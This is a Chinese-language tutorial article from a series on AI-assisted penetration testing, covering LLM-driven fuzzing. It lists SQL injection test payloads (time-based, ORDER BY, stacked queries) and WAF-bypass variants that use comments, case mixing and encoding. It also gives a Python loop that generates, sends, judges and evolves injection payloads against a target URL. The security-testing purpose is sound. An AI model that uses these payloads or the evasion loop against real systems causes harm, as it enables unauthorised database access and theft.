一句话:AI 最擅长的不是发明新漏洞,而是把已知漏洞的 Payload 变形出 200 种 WAF 不认识的写法。

一、Fuzz 的本质与 AI 的切入点

Fuzz 的核心是两件事:种子质量变异策略

传统 Fuzzer(AFL、radamsa、wfuzz)靠暴力变异,问题在于:变异出的绝大部分是无意义数据,浪费请求配额。

AI 的切入点很明确:

环节 AI 的作用
种子生成 从接口文档/参数名推测可能的注入类型
变异策略 基于语法规则做语义级变异,而非字节级
结果判断 从响应差异中识别"疑似成功",降低人工 review 量
Payload 变形 针对特定 WAF 做定向绕过

二、从参数名推测攻击面

这是最被低估的一招。把接口参数列表丢给 AI:

# 输入
POST /api/v1/order/query
参数:orderId, userId, startTime, endTime, page, size, sortField, sortOrder

# 任务
对每个参数,推测最可能的漏洞类型,并给出一条最小化测试 Payload。
按"可能性从高到低"排序。

AI 的输出(实际效果):

参数 推测漏洞 测试 Payload
orderId 越权 / IDOR / 数字型 SQL 注入 1 or 1=11 AND SLEEP(3)、改成他人订单号
sortField SQL 注入(ORDER BY 无法预编译) id,(select 1 from(select sleep(3))a)
sortOrder SQL 注入 / 逻辑绕过 asc;select sleep(3)--
page/size 分页越界读取 size=99999
userId 水平越权 替换为其他用户 ID

sortField 这一类是 AI 的价值所在——它知道 ORDER BY 后面的字段名无法参数化,这是很多扫描器会漏的点。

三、语义级 Fuzz:让 AI 生成变异体

不是随机改字节,而是按语言的语法结构变异

# 任务
目标:JSON 解析器接口,参数 name 是字符串。
生成 50 个测试用例,覆盖:
1. JSON 结构畸形(未闭合、嵌套超深、重复 key)
2. 类型混淆(字符串位置传数组/对象/null)
3. 编码绕过(Unicode 转义、UTF-7、代理对)
4. 特殊字符(反斜杠、控制字符、超长字符串)
每个用例说明它想测试什么解析器缺陷。

# 输出格式
[{"payload": "", "purpose": "", "expected_behavior": ""}]

AI 生成的用例有目的性,比随机变异有效得多。

四、WAF 绕过 Payload 生成

这是 AI 最实用的场景之一。

# 背景
目标 WAF 规则:
- 拦截关键字:union、select、sleep、<script、alert
- 拦截单个空格(推测用正则 \s)
- 不拦截注释符

# 任务
给出 10 条能绕过上述规则的 SQL 注入 Payload(MySQL 环境),
每条说明绕过原理。要求保留原攻击语义。

典型输出:

-- 内联注释拆关键字
1/**/UNI/**/ON/**/SEL/**/ECT/**/1,2,3

-- 大小写 + 内联注释
1 uNiOn/**/SeLeCt 1,2,3

-- 等价函数替代
1 AND (SELECT 1 FROM (SELECT SLEEP(3))a)   -- 被拦
1 AND BENCHMARK(5000000,MD5(1))            -- 替代

-- 注释伪装 + 换行绕过空格过滤
1%0aUNION%0aSELECT%0a1,2,3

-- 等价字符
1 UNION SELECT 1,2,version()  →  1 UNION SELECT 1,2,@@version

AI 的价值在于它会穷举各种等价变形,而人往往只会想两三种。

五、把 Fuzz 闭环起来

单次生成 Payload 不够,要做成自动迭代:

import requests
from openai import OpenAI

client = OpenAI()

def fuzz_loop(target_url, param, max_rounds=10):
    # 初始 Payload 由 AI 生成
    payloads = ai_generate_payloads(param, count=20)
    history = []

    for rnd in range(max_rounds):
        for p in payloads:
            try:
                resp = requests.get(target_url, params={param: p}, timeout=8)
                # 让 AI 判断响应是否异常
                verdict = ai_judge_response(
                    payload=p,
                    status=resp.status_code,
                    body=resp.text[:2000],
                    baseline=BASELINE
                )
                history.append({"payload": p, "verdict": verdict})
                if verdict["is_vuln"]:
                    return p, verdict
            except Exception as e:
                history.append({"payload": p, "error": str(e)})

        # AI 根据历史结果生成下一轮定向 Payload
        payloads = ai_evolve_payloads(history, param, count=20)

    return None, None

其中 ai_judge_response 是关键——让 AI 对比基线与响应差异

# 任务
判断以下响应是否表明 SQL 注入成功。

基线响应(参数正常值):
  状态码 200,响应长度 1420,无报错
测试响应(注入 Payload):
  状态码 500,响应长度 87,包含 "You have an error in your SQL syntax"

# 输出
{"is_vuln": true, "type": "error-based", "reason": "..."}

AI 判断错误回显比正则匹配强得多,因为它能理解语义("这个报错是框架的通用 500 页,不是 SQL 错误")。

六、注意事项与踩坑

1. 速率控制:Fuzz 循环务必加 time.sleep() 和并发限制,别把目标打挂。

2. 别让 AI 凭空造 Payload:所有 AI 生成的 Payload 先本地在靶场(DVWA/sqlilabs)验证语法正确性,再打真实目标。

3. 响应判断要防误判:AI 有时会把"正常的 500 错误页"判成漏洞。必须保留原始响应供人工复核。

4. 记录完整:每次请求的 payload、响应、AI 判断都要落库,方便回溯。

七、小结

AI 在 Fuzz 环节的定位是**"智能变异器 + 智能判别器"**:前者解决"种子不够刁钻",后者解决"结果 review 太累"。

真正的效率提升来自闭环:生成 → 发送 → 判别 → 基于反馈再生成

下一篇:LLM 辅助代码审计的实战方法。


系列文章:AI 渗透测试与漏洞挖掘实战